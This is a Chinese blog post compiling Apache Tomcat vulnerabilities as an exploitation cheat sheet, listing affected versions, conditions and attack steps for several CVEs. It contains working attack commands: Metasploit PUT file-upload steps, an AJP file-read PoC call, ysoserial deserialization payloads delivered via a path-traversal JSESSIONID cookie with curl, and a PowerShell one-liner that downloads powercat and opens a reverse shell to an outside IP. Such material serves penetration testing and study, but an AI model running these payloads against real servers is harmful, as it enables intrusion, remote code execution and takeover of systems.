tomcat漏洞汇总

 

ID
技术描述
利用场景/条件
过程
参考
武器库关联
ID
技术描述
利用场景/条件
过程
参考
武器库关联
S1 PUT任意文件上传

(CVE-2017-12615)

  • tomcat 7.0.0~7.0.79
  • servlet上下文配置为readonly = false
  • 允许HTTP PUT请求

可以上传任意文件,下面是使用msf利用该漏洞的一个示例:

msfconsole   -进入msf

search http_put   -查找该漏洞

use auxiliary/scanner/http/http_put    -使用该漏洞的exp

set filedata 'test put111'  -设置上传文件的内容

set filename test1.txt -设置上传文件名

set rhosts 192.168.234.138 - 设置远程主机ip(靶机)

set rport 8080  - 设置远程主机的访问端口

run

在这里插入图片描述

https://blog.csdn.net/weixin_41924764/article/details/109684870  
S2 远程代码执行(CVE-2019-0232)
  • 受影响版本

Tomcat 9.0.0.M1~9.0.17
Tomcat 8.5.0~8.5.39
Tomcat 7.0.0~7.0.93

  • Tomcat启用了CGIServlet和enableCmdLineArguments参数
  • Windows平台
  • cgi-bin目录下有bat后缀文件

执行代码的方式是在/cgi-bin/xxx.bat 文件后面接执行参数即可,如下图:

https://blog.csdn.net/helloexp/article/details/89377270

 
S3 Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
  • 受影响版本:

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

  • 开启了8009端口的ajp服务

执行poc脚本验证漏洞:

 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml  可以成功访问文件。

 

 

https://www.cnblogs.com/twlr/p/12341569.html

 

S4 Tomcat Session(CVE-2020-9484)反序列化漏洞
  • 受影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

  • 攻击者能够控制服务器上文件的内容和文件名称
  • 服务器PersistenceManager配置中使用了FileStore
  • PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
  • 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址:git clone https://github.com/frohoff/ysoserial.git

执行下面语句生成 payload(这个payload应该需要生成到靶机上)

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

在浏览器抓取首页的包添加Cookie: JSESSIONID=../../../../../tmp/test

或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件

curl 'http://172.16.1.186:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

https://www.freebuf.com/vuls/245232.html  
S5

Tomcat反序列化漏洞(CVE-2016-8735)

  • 受影响版本:

Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47

  • 外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行

在攻击机上:

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址:git clone https://github.com/frohoff/ysoserial.git

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

 

127.0.0.1 10001 是靶机的ip+端口

192.168.10.11 8888 是反弹shell的目标ip和端口

https://www.cnblogs.com/csnd/p/11807623.html  
S6

Tomcat本地提权漏洞(CVE-2016-1240)

  • 受影响版本:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  • 通过deb包安装的tomcat
  • 需要重启tomcat

 

  1. 上传poc.sh文件到靶机
  2. chmod命令赋予文件执行的权限
  3. 执行文件,目标是catalina.out文件,等待重启tomcat
  4. 重启tomcat,可以看到成功切换到root用户
https://blog.csdn.net/Fly_hps/article/details/79567605
S7          
S8          
S9          
S10          
S11          
S12          
posted @ 2021-10-11 15:23  梦幻泡影离殇  阅读(1892)  评论(0编辑  收藏  举报